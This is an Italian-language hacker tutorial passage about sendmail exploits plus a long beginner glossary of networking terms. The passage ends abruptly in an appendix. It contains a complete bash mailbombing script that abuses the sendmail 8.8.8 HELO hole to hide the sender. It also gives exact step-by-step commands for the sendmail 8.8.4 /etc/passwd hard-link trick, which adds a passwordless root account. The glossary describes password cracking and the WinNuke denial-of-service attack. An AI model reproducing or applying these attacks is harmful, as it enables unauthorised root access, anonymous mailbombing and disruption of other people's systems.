Ho trovato un semplice modo per nascondere l'IP del mittente. Il metodo per
nascondere l'IP è descritto sotto. Adesso, se vogliamo tenere traccia
di simili tentativi di exploit, dobbiamo compilare sendmail 8.8.8 con un PICKY_HELO_CHECK
definito in conf.h:
#define PICKY_HELO_CHECK 1
Questo forzerà sendmail a emettere un pericolo
di identificazione (messaggio con livello LOG_INFO) e includere u X-Autentication-Warning
nelle proprietà del messaggio dicendo che l'host ha provato a nascondersi.
Verifica il sorgente (srvrsmtp.c,main.c). Ancora, LogLevel deve essere settato
a un valore più alto di 3 (9 è default) in sendmail.cf.
saluti
capone
-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Make source, not [high]score
----------------------------
Valentin 'Val Capone' Pavlov
----------------------------
capone@netbg.com, UKTC87203
-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Adesso per il messaggio originale, che descrive
l'exploit:
-----Original Message-----
From: Micha³ Zalewski
To: info@rootshell.com
Date: 10 stycznia 1998 12:28
Subject: Sendmail 8.8.8 (qmail?) HELO hole.
Qui c'è una breve descrizione di un buco
d Sendmail (qmail) che ho trovato recentemente:
Quando qualcuno ti mailbomba, o prova a mandarti una e-mail falsa, spam, ecc..
- sendmail normalmente attacca hostname del mittente e il suo indirizzo nel
messaggio in uscita:
--
>From spam@flooders.net Mon Jan 5 22:08:21 1998
Received: from spammer (marc@math.university.edu [150.129.84.5])
by myhost.com (8.8.8/8.8.8) with SMTP id WAA00376
for lcamtuf; Mon, 5 Jan 1998 22:07:54 +0100
Date: Mon, 5 Jan 1998 22:07:54 +0100
From: spam@flooders.net
Message-Id: <3.14159665@pi>
MAILBOOM!!!
--
Questo è perfetto - adesso sai, chi è
il responsabile per quelle noiose fesserie nel tuo mailbox:
"Received: from spammer (marc@math.university.edu [150.129.84.5])".
Niente di più facile... Ma io trovai un piccolo buco, che permette all'utente
di nascondere le sue generalità e di mandare messaggi anonimamente. La
sola cosa che devi fare è passare al comando HELO una stringa più
lunga di 1024 caratteri circa. La locazione del mittente e altre informazioni
molto importanti saranno tagliati!!!! Le proprietà del messaggio diventeranno
non interessanti. Qualche volta, il mittente può diventare abbastanza
non rintracciabile (ma non sempre, se è possibile ottenere i logs dalla
macchina da cui è stato mandato il messaggio):
--
>From spam@flooders.net Mon Jan 5 22:09:05 1998
Received: from xxxxxxxxxxxxxx... [molte 'x' dopo...] ...xxxx
Date: Mon, 5 Jan 1998 22:08:52 +0100
From: spam@flooders.net
Message-Id: <3.14159665@pi>
MAILBOOM!!! Adesso indovina chi sono...
--
Qui c'è un piccolo esempio del buco del
comando HELO di sendmail. Nota, questo script è stato scritto solo per
mostrarti quanto può essere facile mandare e-mail false, mailbomb, con
la cooperazione di Sendmail ;) Lo script è molto lento e restrittivo
in molti casi, ma spiega bene il problema. (nota, alcuni daemons non di Berkeley
sono anche affetti, probabilmente Qmail??):
-- EXPLOIT CODE --
#!/bin/bash
TMPDIR=/tmp/`whoami`
PLIK=$TMPDIR/.safe
TIMEOUT=2
LIMIT=10
MAX=20
echo
echo "SafeBomb 1.02b -- sendmail HELO hole usage example"
echo "Author: Michal Zalewski "
echo
if [ "$4" = "" ]; then
echo "USAGE: $0 msgfile address server sender"
echo
echo " msgfile - file to send as a message body"
echo " address - address of lucky recipient"
echo " server - outgoing smtp server w/sendmail"
echo " sender - introduce yourself"
echo
echo "WARNING: For educational use ONLY. Mailbombing is illegal."
echo "Think twice BEFORE you use this program in any way. Also,"
echo "I've never said this program is 100% safe nor bug-free."
echo
sleep 1
exit 0
fi
if [ ! -f $1 ]; then
echo "Message file not found."
echo
exit 0
fi
echo -n "Preparing message..."
mkdir $TMPDIR &>/dev/null
chmod 700 $TMPDIR
echo "echo "helo
___safebomb__safebomb__safebomb>$PLIK
echo "echo "mail from: "$4""" >>$PLIK
echo "echo "rcpt to: $2"" >>$PLIK
echo "echo "data"" >>$PLIK
echo "cat <<__qniec__" >>$PLIK
cat $1 >>$PLIK
echo "__qniec__" >>$PLIK
echo "echo "."" >>$PLIK
echo "echo "quit"" >>$PLIK
echo "sleep $TIMEOUT" >>$PLIK
chmod +x $PLIK
echo "OK"
echo "Sending $1 (as $4) to $2 via $3 --
Ctrl+Z to abort."
SENT=0
while [ -f $1 ]; do
$PLIK|telnet $3 25 &>/dev/null &
let SENT=SENT+1
echo -ne "Sent: $SENTbbbbbbbbbbbbb"
CONNECTED=`ps|grep -c "telnet $3"`
if [ "$LIMIT" -le "$CONNECTED" ]; then
while [ "$LIMIT" -le "$CONNECTED" ]; do
sleep 1
done
fi
if [ "$SENT" -ge "$MAX" ]; then
echo "It's just an example, sorry."
echo
exit 0
fi
done
-- EOF --
fix suggerito: inserire una addizionale lunghezza
limite nei parametri di HELO/EHLO verificando le routine o disabilitando AllowBogusHELO
(ma potrebbe causae seri problemi). Io non ho i sorgenti dell' 8.8.8 al momento,
per questo mi scuso per mancanza di chiarezza.
PS:
--
From: Gregory Neil Shapiro
Io sono capace di riprodurre il problema delle
proprietà allungando la stringa di HELO nel tuo script.
[...]
Questo sarà fissato in sendamail 8.9.
--
Micha³ Zalewski [tel 9690] | finger 4 PGP
[lcamtuf@boss.staszic.waw.pl]
Iterowaæ jest rzecz± ludzk±, wykonywaæ rekursywnie
- bosk± [P. Deustch]
=--------- [ echo "while [ -f $0 ]; do $0 &;done" >_;. _
] ---------=
Giant Bug in Sendmail 8.8.4 (taken from hackersclub.com)
***************************
sendmail 8.8.4 exploit
"Sendmail? 'è il programma più
buggato!" -phriend-
Ok, qui c'è una breve e interessante spiegazione
di questo interessante exploit. Questo exploit usa la versione 8.8.4 di sendmail
e richiede che tu abbia uno shell account sul server in questione. Questo exploit
crea un link da etc/passwd a /var/tmp/dead.letter molto semplice veramente.
Ecco come lavora, sotto ci sono gli esatti comandi che devi digitare (per quelli
handicappati tecnicamente)
* ln /etc/passwd /var/tmp/dead.letter
* telnet target.host 25
* mail from: nonexsistent@not.an.actual.host.com
* rcpt to: nonexsistent@not.as.actual.host.com
* data
* lord::0:0:leet shit:/root:/bin/bash
* .
* quit
Kaboom, hai fatto, collegati tramite telnet alla
porta 23 e loggati come lord, nessuna password richiesta.
Grazie a un pò di lavoro, lord ha appena ottenuto gli stessi privilegi
del root.
Ci sono un paio di ragioni per cui potrebbe non
lavorare.
1. /var e / sono partizioni differenti (come già
sai, non puoi fare un link tra differenti partizioni)
2. C'è un account postmaster sulla macchina o mail alias, in questo caso,
la tua posta finirà qui invece
di essere scritta su etc/passwd
3. /var/tmp non esiste o non è scrivibile pubblicamente
Ducan Silver
www.hackersclub.com/uu
nota dell'editore: 'lord::0:0:leet shit:/root:/bin/bash' è una linea
estratta da un file di password di Unix(33).
Note finali
--------------------
Devi aver notato che non ho messo ogni cosa da BugTraq. Questo perchè
ogni cosa a bugtraq ha almeno una risposta (dalla mia esperienza) , e io non
gradisco spedire l'intero threads(34) (sono così dannatamente lunghi!)
Angolo dei Newbies
===================
1. Daemon - un programma che è in attesa di una connessione su una porta
specifica(2). Alcuni daemon possono ricevere comandi e interagire con te, altri
possono semplicemnte emettere un pò di testo e uscire.
2. Port - (per una spiegazione più tecnica
di cosa sono le porte, guarda la fine di questa spiegazione) le porte sono come
buchi che permettono alle cose (informazioni, in questo caso) di entrare. Ci
sono porte fisiche e porte software sul tuo computer . Le porte fisiche sono
quegli slot sul retro del computer, del monitor ecc.. . Le porte software sono
usate quando ci si connette a un altro computer.
Per esempio : ho appena comprato un computer e voglio convertirlo in un web
server (voglio permettere alle persone di accedere a selezionate pagine web,
immagini, cgi e java script o applet, programmi ecc.. che sono localizzati sul
mio computer (sul MIO computer non su squallidi webhost gratuti come Geocities)
e voglio che le persone facciano ciò utilizzando nient'altro che un browser).
In ordine di quello che accade, io devo installare un programma webserver.
Il programma webserver apre una porta sul mio computer chiamata porta 80 (questo
numero può essere cambiato ma è il numero di default). Poi aspetta
per connessioni in arrivo su quella porta. Quando qualcuno naviga il mio sito
col suo browser (Netscape, Lynx, internet explorer ecc..) si cornette alla porta
80 del mio computer e manda dei comandi HTTP che il mio programma webserver
può capire.
Il mio programma webserver rapidamente prende i dati che arrivano e li manda
indietro in una porta che il browser apre sul computer del navigatore. Il browser
attenderà su quella porta e aspetterà le informazioni (la pagina
html, le immagini, ecc..) che giungono attraverso essa.
Nota circa le porte non di default: se decidi di mettere, diciamo, un webserver
su una porta non di default, sarà difficile per le persone accedervi.
Se tu decidi di metterlo sulla porta
huummm
8000 invece di 80, le
persone dovranno digitare il tuo IP o il tuo hostname e aggiungere :8000 alla
fine. Per esempio 143.241.122.1:8000. Semplicemente digitando 143.241.122.1
nel capo per lURL del tuo browser è lo stesso che digitare 143.241.122.1:80,
così è meglio mettere un webserver sulla porta 80 (a meno che
tu vuoi che solo uno specifico gruppo di persone abbia quel numero per accedere
al webserver, ma un tale blocco può essere facilmente crackato usando
un portscanner(12)).
Ci sono differenti porte per differenti servizi(3) così le informazioni
non saranno mischiate. Immagina che il tuo browser prenda dati che si suppone
debba prendere il tuo client ftp! Io spero tu abbia lidea di cosè
una porta.
Allora, ci sono tre tipi di porte: le porte ben conosciute, quelle registrate
e quelle dinamiche/private. Le porte ben conosciute sono quelle dalla 0 alla
1023,. Queste sono porte di default per diversi servizi. Per esempio: la porta
di default per i webserver è 80. Altrimenti come potrebbe conoscere il
tuo browser a quale porta deve accedere?
Allora, le porte registrate sono quelle dalla 1024 alla 49151. Queste porte
sono riservate per alcuni programmi. Per esempio: ICQ (www.icq.com) riserva
alcune porte per ascoltare vari eventi che arrivano (messaggi, trasferimenti
di file, ecc..) attraverso esso. Le porte dinamiche/private sono quelle dalla
49152 alla 65535, e possono essere usate da ognuno per ogni scopo.
Nota importante per le porte ben conosciute: i
servizi su queste porte possono essere solo eseguiti da root, così gli
utenti inferiori non incominceranno a incasinare porte importanti.
3. Services - un daemon che permette a ognuno
che si connette a esso (o a uno specifico gruppo di persone.
Per esempio: tutti quelli con lo stesso range di IP, quelli che conoscono la
password segreta, ecc..) di usare alcuni tipi di servizi.
Per esempio: un webserver come quello descritto nella sezione 1 di questo capitolo
è un servizio poiché permette alle persone di accedere e richiedere
alcuni pezzi di dati.
Il più semplice esempio di servizio a cui posso pensare è daytime.
Il daytime attende connessioni sulla porta 13 e quando qualcuno ci va, immediatamente
annuncia lora corrente sul computer che lo esegue (senza bisogno che tu
digiti comandi o password o altre cose). Semplice
4. Daemon banner - la maggior parte dei daemon
restituiscono alcune informazioni tecniche su alcuni punti a chi si connette
a essi. Queste informazioni possono essere usate da chiunque si connette a questo
daemon semplicemente per conoscere come interagire con esso meglio (quel daemon
è, che versione, ecc..), ma esso può essere usato dagli hackers.
Colleghiamoci alla porta 23 di someone.com (nota: io ho creato questo hostname
e tutti i dettagli esso riguardanti semplicemente per spiegarti i daemon banners.
Io realmente non so se esiste un tale hostname e se i dettagli che ti ho dato
sono corretti). Sulla porta 23 potresti trovare di solito il telnet(19). Telnet
è un servizio che chiede un username e una password nella maggior parte
dei casi (a meno che tu non digiti un username non protetto da password. In
quel caso semplicemente ti loggherà come un utente a cui non è
stata
richiesta password) e poi esegue un programma specificato dal sysadmin(22) e
ti lascia lavorare con esso. Nella maggior parte dei casi userai una text-based
shell (un interprete di comandi(20)). Il problema è: tu non puoi fare
tutto. Tutto dipende da che genere di permessi ha lusers con il quale
ti sei loggato. Luser root(14) ha tutti i permessi (legge, scrive (e cancella)
e esegue ogni cosa e cambia i permessi delle altre persone). Okay, proviamo
a collegarci alla porta 23 su someone.com . Allinizio otteniamo questo:
Welcome to someone.com, running Laccetti 1.0
Login:
Aha! Someone.com sta girando su un sistema operativo
chiamato Laccetti 1.0! Dovrebbe essere qualcosa di valore (noi potremmo cercare
un bug segnalato riguardante Laccetti 1.0 e questo potrebbe renderci capaci
di hackerare questo server ). Ogni parte di informazione su un webserver è
importante. Adesso, poiché non sappiamo un username e una password per
questo server potremmo anche terminare la connessione o provare a indovinare.
La maggior parte dei server hanno un guest account (username: guest, password:guest
o solo lusername:guest) o un newuser account (username:newuser, password:newuser
o solo username:newuser), ma questo certamente non ci aiuta ad hackerare questi
ragazzi
a meno che cè un buco maggiore in questi accounts.
Tu dovrai immaginare queste cose da solo.
Nota su la parola server: un computer è chiamato server se offre servizi.
Altrimenti, è chiamato host.
5. Timeout - Okay, adesso ho un daemon che aspetta
connessioni sulla porta 23. Adesso, cosa accade se qualcuno si connette ad esso
e non fa assolutamente nulla? Egli potrebbe semplicemente rimanere connesso
finchè uno di noi o resetta o chiude la connessione. Non vuoi che qualcuno
si connetta a qualche porta sul tuo computer e ci rimanga solo collegato, non
è vero? Questo potrebbe solo sprecare bandwith(15) di valore! Le persone
non vorranno monitorare lo stato del loro network 24 ore al giorno e disconnettere
ognuno che decide di aspettare finchè resta collegato (specialmente su
grandi network). Per questo è stato inventato il Timeout. Settando un
valore di timeout su un daemon (questo può essere fatto durante il processo
di setup o lanciando un programma di setup o entrando in alcuni tipi di box
di opzioni) puoi chiudere la connessione a ognuno che si connette a esso e non
fa nulla per un valore di tempo superiore al timeout. Per esempio: tu metti
un daemon sulla porta 17 e setti il timeout dopo 2,5 secondi. Se qualcuno si
connette al tuo daemon e non digita nulla per un tempo superiore ai 2,5 secondi,
gli verrà chiusa la connessione e quella persona dovrà riconnettersi
e cominciare a digitare qualcosa prima che il tempo scada e venga cacciato.
Questo è il motivo per cui i webserver hanno un breve timeout di 2 secondi
(la maggior parte delle persone si connette ai webserver usando programmi client(16),
e questi programmi digitano davvero velocemente
).
6. TCP - sta per Transfer Control Protocol. TCP
è un protocollo che è usato per trasferimenti di dati attraverso
network (internet, networks locali, ecc..). TCP è molto più affidabile
di UDP poiché usa alcune precauzioni, come numeri sequenziali e tutti
i tipi di flags di header ingegnosi e tutti (vedi leccellente articolo
chiamato IP spoofing Demystified nella Books Section in blacksun.box.sk
per molte informazioni su UDP (veramente DA LEGGERE!!) ). Il solo svantaggio
di TCP è che è un po più lento dellUDP, ma
è più affidabile, perciò è usato per trasferire
files delicati (come programmi - se tu perdi un singolo bit del file lintera
cosa è inutilizzabile).
7. UDP - sta per User Datagram Protocol. UDP è
un protocollo usato per trasferire dati attraverso networks (internet, networks
locali, ecc..). UDP è meno affidabile di TCP, ma tuttavia è un
po più veloce, perciò è usato da programmi come Real
Player per le trasmissioni video, dove la perdita di un singolo pacchetto(32)
o due non è una grave preoccupazione.
8. ICMP - sta per Internet Control Message Protocol.
Un protocollo usato per trasferimento di errori tra networks (internet, networks
locali, ecc..).
9. IP address - ogni computer connesso a internet
ha un indirizzo ip. Se un altro computer vuole interagire con il tuo computer
ha bisogno del tuo IP, cosi come tu hai bisogno del numero di telefono di un'altra
persona per chiamarla.Lindirizzo IP dovrebbe assomigliare a questo: x.x.x.x
dove le x possono essere un numero tra 0 e 255. Nota: ci sono indirizzi IP speciali
che non sono usati per connettersi agli altri computer.
Per esempio 127.0.0.1 significa localhost, ovvero significa te (il tuo computer).
Connettendosi a una certa porta sullindirizzo IP 121.0.0.1 ti connetterai
su una porta del tuo computer. Oh, approposito, IP sta per Internet Protocol(18).
10. Hostname - hey, indovina cosa!? Ho trovato
questo sito davvero figo! Ma non posso ricordarmi il suo indirizzo IP, e quando
lo faccio, odio digitare queste cose così lunghe! Certo, posso conservarlo,
ma cosa vorrò dire ai miei amici su di esso? O cosa farò se sto
navigando dal computer di un mio amico o di un posto pubblico e non ho lo ho
con me? La risposta a tutte queste domande è lhostname. Gli hostnames
sono pseudonimi degli indirizzi IP. Una lista di hostnames e il loro indirizzo
IP è situata in InterNIC, che è un database di tutti gli hostnames
e il loro indirizzo IP. Quando digiti un hostname, il tuo computer cercherà
quellhostname e troverà lappropriato indirizzo IP e si connetterà
a esso. Ma invece di dover sovraccaricare InterNIC (Immagina che lintero
mondo si connetta ad esso. Questo sovraccaricherebbe sicuramente i loro servers
e dovrebbero spendere soldi per costanti upgrades e backups. E pensa se accadesse
qualcosa di male al loro database
). La soluzione per questo problema è
chiamata DNS servers(17).
11. Scoprire quali sono i server di posta del
tuo ISP - ci sono diversi modi per farlo:
1) Chiama il tuo ISP e chiedi lindirizzo IP o lhostname del server
della posta in uscita (questo è il server di cui hai bisogno per fare
tutti gli scherzi di questo tutorial). Se vuoi conoscere un server di posta
di un ISP diverso dal tuo, chiama il loro numero di supporto tecnico. Ma come
fare se sei dallaltra parte del mondo e non ti va di spendere tonnellate
di soldi per chiamarli ed essere messo in attesa? In questo caso vai al punto
3.
2) Lancia il tuo client di posta, vai nel menu delle preferenze e cerca cosa
è scritto nel campo outgoing mail o in server SMTP
(sono la stessa cosa. SMTP sta per Simple Mail Transfer Protocol, che è
un protocollo(18) che è usato per mandare e-mail attraverso internet).
3) Indovinando! Se il tuo server bersaglio è someone.com, il loro mail
server dovrebbe essere mail.someone.com:25 o someone.com:25. Se no, manda un
e-mail a admin@someone.com o a support@someone.com e chiedi loro qual è
il loro mail server (essi dovrebbero essere felici di risponderti, a meno che
tu gli dici che sei un malefico hacker o qualcosa di simile. In quel caso chiameranno
la polizia
).
Nota: non tutti i server del mondo hanno un server per la posta in uscita!
12. Portscanner - un programma che effettua lo
scan di un bersaglio per trovare le porte aperte provandosi a connettersi su
varie porte. Il più semplice portscanner incomincerà dalla porta
1 e continuerà, ma puoi impostare, sui più sofisticati portscanner,
uno specifico range.
13. Services scanner - uno scanner di servizi
è molto più sofisticato di un portscanner poiché prova
a connettersi su porte predefinite che dovrebbero avere un servizio che tu stai
cercando.
14. Root - un account su un computer Unix che
ha i massimi privilegi permessi (legge, scrive (e cancella) e esegue ogni cosa
e cambia i permessi delle altre persone). Nota: altri account possono avere
accesso root, e laccount root potrebbe non sempre avere accesso root,
dipende dal sysadmin(22) (ma root è laccount di default per laccesso
root).
15. Bandwith - il totale ammontare della velocità
di un dispositivo per la connessione a un network (un modem, una network card,
un mail pigeon, ecc..) può averlo. Per esempio: ho appena comprato un
nuovo modem. Ha un ampiezza di banda di 100Ks per secondo, ciò significa
che può trasferire 100Ks per secondo. Quando usi il tuo dispositivo network
per fare qualcosa, esso assorbirà un po di ampiezza di banda a
seconda della sua operazione.
16. Progamma client - un programma che si connette
a certi servizi. La maggior parte dei client dovrebbero sapere come comunicare
con quel servizio con o senza le informazioni che riceve dal daemon banner.
Esempio: un internet browser (come Netscape) è un client poiché
si connette alla porta 80, dove il webserver daemon sta aspettando per una connessione,
e interagisce con esso per poter reperire il file che stai cercando. Un browser
deve conoscere come comunicare con il webserver daemon (anche detto HTTPD, http
daemon. http sta per Hyper Text Transfer Protocol) per poter pienamente accompiere
alle tue richieste.
17. DNS server - un server che conserva hostnames
e i loro indirizzi IP. Invece di dover gestire i servers InterNICs tutto
il pianeta, ogni ISP ha un DNS server. Quando digiti un hostname e dici al tuo
modem di connettersi a esso, il tuo computer eseguirà lazione chiamata
DNS Lookup. In altre parole, chiederà al DNS server del
tuo ISP lindirizzo IP appropriato per lhostname che tu hai digitato.
Se il server DNS del tuo ISP non sa la risposta, chiede a un server DNS di più
alto livello. Se il server DNS di più alto livello non sa la risposta,
chiederà a un server DNS di livello ancora maggiore, ecc.. . Il più
alto livello è InterNIC stesso.
Se il primo server DNS conosceva la risposta te lavrebbe data la prima
volta. Altrimenti (se lavesse trovata dopo richieste ad altri server),
prima lavrebbe aggiunta al suo proprio database e poi te lavrebbe
data.
18. Protocol - un insieme di regole usate dai
computer per interagire tra di loro tramite un network di simili (come internet
o alcuni network locali) essi hanno bisogno di conoscere un protocollo comune
e ogni computer deve presupporre che gli altri lo conoscono e lo usano.
19. Telnet - un programma che nella sua semplicità
permette di formare una connessione basata sul testo tra il tuo computer e un
altro computer attraverso un network di qualche sorta. Tu dovresti scegliere
lindirizzo IP o lhostname e la porta con cui vuoi metterti in contatto,
e telnet stabilirà una TCP connessione tra entrambe le macchine.
Nota circa il Telnet daemon: il telnet daemon è completamente differente.
Esso aspetta per connessioni TCP o UDP in arrivo sulla porta 23 e poi chiede
luser per il login (spesso chiamato username) e la password (a meno che
luser digita un username privo di password. In quel caso, ti loggherà
senza richiedere la password. Account senza password sono davvero rari!) e poi
procede a eseguire un programma (generalmente un interprete dei comandi(20))
e a darti alcuni permessi, tutto dipendente dallo username e dalla password
che gli hai dato
(a meno che tu abbia sbagliato. In quel caso, ti sarà detto che o lusername
o la password sono sbagliati e ti sarà data un'altra possibilità.
La maggior parte dei sistemi ti danno 3 possibilità e poi ti sganciano).
20. Command Interpreter - un programma che accetta
comandi da luser e li trasforma in comandi reali che il computer capisce.
Per esempio: se il tuo interprete contiene un comando chiamato, diciamo, display,
che accetta un singolo parametro che dovrebbe essere un nome di un file, e tu
digiti display somefile (senza le virgolette, e sostituisci somefile
con un file reale) esso tradurrà il comando in okay Sig. Computer,
trova il disco rigido facendo questo e questo, vai alla FAT (File Allocation
Table) e trova in quale settore/settori questo file è
contenuto, prendi il file e mandalo al dispositivo terminale (il dispositivo
standard per loutput è il monitor). Questo rende lidea?
21. Shell account - un account su un computer
remoto (un username, una password, e un gruppo di file di configurazione personale
e cose varie). Avere uno shell account su un computer remoto significa avere
la possibilità ti collegarsi via telnet ad esso sulla porta 23, digitare
il login del tuo account (anche detto username) e la password e ottenendo un
interprete dei comandi con alcuni permessi (a seconda del sysadmin)).
22. Sysadmin/admin - luomo/donna/essere
peloso che gestisce un sistema.
23. Hyper Text - se hai mai visto un documento
HTML dovresti sapere cosè un iper testo, ma potresti non essere
consapevole di ciò. HTML sta per Hyper Textual Markup Language. Iper
testo è considerato come un testo arricchito, poiché
puoi aggiungere figure, colori, links, ecc.. ad esso. Confronta quello con il
testo regolare e noioso che usa questo tutorial
:D
24. RFC - sta per Request For Comment. Questi
sono schizzi di relazioni dell IETF (Internet Engeneering Task Force -
quei ragazzi che impostano tutti quegli standards di internet e cose varie).
Essi contengono suggerimenti per gli standards di internet. Puoi trovare gli
RFCs su www.linuxberg.com .
25. InterNIC - il database di registrazione domini
e il server DNS di più alto livello sul pianeta.
26. Sub domain - domini di prima classe appaiono
così: something.com (o altre estensioni come org, net, it, co.uk, ecc..).
Costa 70$ registrarne uno (vedi www.networksolution.com). Domini di seconda
classe appaiono così: someone.something.com e costa 0$ registrarne uno,
se hai something.com già registrato a te naturalmente (sebbene puoi procurartene
gratis su siti come www.anrki.com). Domini di terza classe appaiono così:
blah.someone.something.com e non costano nulla, ecc.. .
Nota circa il prezzo dei domini di prima classe: questo prezzo non include il
web hosting (qualcuno che ospiterà il tuo sito o qualunque cosa vuoi
mettere sul loro server).
27. SSH - sta per Secure Shell. Questo daemon
aspetta per connessioni TCP o UDP in arrivo sulla porta 22.
Una volta che ti connetti, ti verranno chiesti un login e una password, proprio
come il daemon telnet, solo che SSH encripta ogni cosa per aumentare la sicurezza.
28. Moderated mailing list / mesage board - ti
spiegherò questo dandoti un esempio. Bugtraq (vedi www.securityfocus.com)
è una delle migliori mailing list legate alla sicurezza. Sebbene le persone
possono mandare cose alla lista (significa mandare un messaggio
e-mail e ottenere che venga mandato a tutti i membri della mailing list), tu
non puoi proprio mandare ogni cosa. Aleph1, il moderatore, visiona tutti i messaggi
inviati e spedisce solo quelli utili. Lo stesso avviene con le message boards
moderate, ecc...
29. DoS attack - DoS sta per Denial Of Service
(anche detto nuke o newk). Un attacco DoS è ogni
genere di attacco che causa il blocco di alcuni/tutti i servizi di un computer
bersaglio. Per esempio: Winnuke (anche conosciuto come OOB), il più semplice
DoS al mondo.
(Preso dal sito dei DoS di Spikeman) Questo programma DoS colpisce i clients
di windows mandando un messaggio deccezione out of band alla
porta 139, che non conosce come affrontarlo. Questa è una porta standard
di ingresso di windows. Utenti di win 3.11, win95 e win NT sono vulnerabili
a questo attacco. Questo programma è principalmente un programma seccatore,
ma sta circolando molto in internet adesso. E diventato una preoccupazione
nelle chatrooms e su IRC. Usando il tuo indirizzo IP e inviando sulla porta
139 dati OOB, utenti maliziosi possono disconnetterti dalla rete, spesso lasciandoti
con poche risorse e lo schermo tinto di blu. Qualcuno di voi potrebbe già
esserne stato
vittima. Se questo avviene su win95, vedrai un errore fatale di windows simile
al seguente:
Fatal exception 0E at 0028: in VxD MSTCP(01) + 000041AE.
This was called from 0028: in VxD NDIS(01) + 00000D7C.
Rebooting the comp should return it to normal state.
Patches ("fixes") For WinNuke (OOB)
-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=
Informazioni addizionali su WinNuke
http://support.microsoft.com/support/kb/articles/Q168/7/47.asp
Windows 95 Patches
http://support.microsoft.com/download/support/mslfiles/Vipup11.exe
http://support.microsoft.com/download/support/mslfiles/Vipup20.exe (for Winsock
2.0*)
http://www.theargon.com/defense/nuke/index.html
Leggere le note riferite alle pacthes per il 95 prima di installarlo.
Quale versione di Winsok hai installata sul tuo pc?
http://premium.microsoft.com/support/kb/articles/Q177/7/19.asp
http://www.theargon.com/defense/nuke/index.html
Windows NT 4.0 Patch
http://support.microsoft.com/support/kb/articles/Q143/4/78.asp
http://www.theargon.com/defense/nuke/index.html
Leggere le note riferite alle pacthes per l NT prima di installarlo.
Maggiori informazioni sugli attacchi DoS possono
essere trovati in: www.genocide2600.com/~spikeman/main.html
* In realtà non so se questa patch lavorerà
su una versione più nuova di Winsock. Perciò io vorrei raccomandarti
di downgradarti prima alla versione 1.1 di Winsock (quella allegata a win95)
andando nel pannello di controllo -> Network -> e rimovendo ladattatore
TCP/IP e Dial Up e poi ri-aggiungendolo clickando add -> scegli il protocollo
e nello spazio delle compagnie scegli Microsoft. Poi cerca per un opzione chiamata
TCP/IP e fai doppio click su di essa. Lo stesso per DUN (Dial Up Networking),
fai lo stesso ma scegli adattatore invece di protocollo. Dopo che hai finito
il downgrading ri-upgrada winsock 2.0, applica la patch (vipup20.exe) e poi
upgrada alla nuova versione di winsock.
30. DUN - sta per Dial Up Adapter. DUN è
un programma allegato di windows e chiama il tuo ISP nel caso che hai un acount
Dial-Up(31)
31. Dial-Up account - un account dial-up presso
un ISP significa che il tuo modem deve chiamare alcuni numeri prima che tu possa
accedere alla rete. A differenza degli altri account ISP (cavi diretti che ti
tengono online 24 ore su 24), tu hai un indirizzo IP dinamico (e non statico
come una connessione diretta via cavo) poiché tu ti devi connettere e
disconnettere invece di stare online tutto il tempo. Ogni volta che ti riconnetti
ti viene assegnato un differente indirizzo IP.
32. Packet - un pezzo di dati che viaggia attraverso
un network (come internet o un network locale o esteso).
Un pacchetto è costituito da due parti principali: lheader e i
dati stessi. Lheader contiene tutti i tipi di ingegnosi valori come il
TTL (Time To Live) e oltre (puoi leggere argomenti collegati nella sezione Modem
Speedup a blacksun.box.sk). La parte dei dati contiene i dati attuali
che il pacchetto sta trasportando. Su un regolare acount dial-up, la grandezza
di un pacchetto dovrebbe essere 576 bytes (incluso lheader), ma su una
connessione diretta via cavo dovrebbe essere molto più grande (guarda
ancora la sezione Modem Speedup a blacksun.box.sk).
33. Unix password file - ogni sistema unix ha
un file di password. Esso contiene una lista di user, le loro password e alcuni
importanti informazioni su di loro. Il file di password è situato in
etc/passwd. Ogni linea rappresenta un utente. Ogni linea è costituita
da 7 campi, separati dal segno : .
Una linea di un file di password dovrebbe apparire come questa:
username:password criptata:UID:GID:breve descrizione:home directory:shell
Username: lusername dellutente
Password criptata: la password dellutente (criptata per maggiore sicurezza).
Una password criptata in genere è lunga 13 caratteri.
UID - User ID: ogni utente ha un numero ID. Se il tuo UID è 0 significa
che hai accesso root.
GDI - Group ID: puoi impostare un gruppo (per esempio: tutte le persone che
lavorano nella divisione contabilità) e impostare permessi speciali per
quellintero gruppo. Il root ha GID 0.
Breve descrizione: breve descrizione dellutente in linguaggio umano.
Home directory: il directory dove sono contenuti tutti i files di configurazione
personale dellutente.
Shell: un programma che è eseguito una volta che lutente è
collegato. Nella maggior parte dei casi (e in questo caso anche) lo shell è
un interprete di comandi.
Se il campo della password criptata è vuoto, significa che lutente
può loggarsi semplicemente immettendo solo lusername. Questo può
essere cambiato dopo esserci loggati digitando passwd allinterprete
dei comandi.
Ti sarà chiesto di impostare una password per il tuo account.
Nota: su alcuni sistemi, devi digitare passwd tuo-username invece di digitare
solo passwd.
Nota 2: il root può fare passwd tuo-username e cambiare la password del
tuo username, non importa qual è il tuo username.
Nota 3: se tu digiti un qualsiasi carattere che non sia uno dei seguenti .
/ 0-9 a-z A-Z (senza le virgolette) o se non digiti nulla, laccount
è disabilitato così che lutente non può loggarsi.
Questo è usato quando sai che potresti voler abilitare laccount
in futuro.
Crackare le password criptate
<><><><><><><><><><><><><><><>
Per questo hai bisogno di un password cracker. Un password cracker è
un programma che estrae una parola da un file dizionario (anche chiamato wordlist)
o da una combinazione di lettere, numeri, ecc.., il programma la encripta sistematicamente
(brute force cracking), nel modo delle password criptate di unix
e poi la compara alle passwords date in un file di password. Se le password
combaciano, annuncia la password corretta per quellusername.
34. Trhead - adesso sto parlando dei threads nelle
liste di discussione e nelle bacheche di messaggi, non sui programmi dei computer.
Discuteremo di quelli in un'altra occasione (forse). Un thread è una
serie di messaggi che parte da un singolo messaggio. Lasciatemi mostrare: una
persona inizia un thread esprimendo un fatto o un opinione. Poi, un'altra persona
va nella lista di discussione o nella bacheca di messaggi e esprime la sua opinione
su quel soggetto. Poi un'altra persona replica allopinione della seconda
persona. Poi un altro viene, ma decide di replicare al messaggio originale poiché
non ha nulla da dire sugli altri messaggi (se si, può spedire due messaggi).
Hai afferrato lidea
Appendice A: falsi daemons
=========================
Trovai questi due falsi daemon (sendmail e telnet) presso packetstorm.security.com
una volta. Questi sono fantastici per ingannare gli attaccanti e per giocare
scherzi ai tuoi amici. Questi sono programmi Perl (un linguaggio di programmazione).
Per eseguirli su un sistema unix , digita semplicemente ./nomefile e rimpiazza
nomefile con il nome del file che vuoi eseguire. Ogni distribuzione unix contiene
